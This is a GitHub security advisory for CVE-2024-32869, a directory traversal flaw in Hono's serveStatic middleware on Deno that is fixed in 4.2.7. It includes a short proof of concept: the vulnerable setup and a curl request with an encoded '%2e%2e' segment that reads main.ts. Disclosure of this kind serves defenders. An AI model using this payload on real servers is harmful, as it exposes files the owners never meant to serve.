Skip to content

Hono vulnerable to Restricted Directory Traversal in serveStatic with deno

Moderate severity GitHub Reviewed Published Apr 23, 2024 in honojs/hono • Updated Apr 24, 2024

Package

npm hono (npm)

Affected versions

< 4.2.7

Patched versions

4.2.7

Description

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial
https://hono.dev/getting-started/deno

PoC

$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
    └── a.txt

source

import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts'
import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'

const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

References

@yusukebe yusukebe published to honojs/hono Apr 23, 2024
Published to the GitHub Advisory Database Apr 23, 2024
Reviewed Apr 23, 2024
Published by the National Vulnerability Database Apr 23, 2024
Last updated Apr 24, 2024

Severity

Moderate
5.3
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Weaknesses

CVE ID

CVE-2024-32869

GHSA ID

GHSA-3mpf-rcc7-5347

Source code

Credits

Checking history
See something to contribute? Suggest improvements for this vulnerability.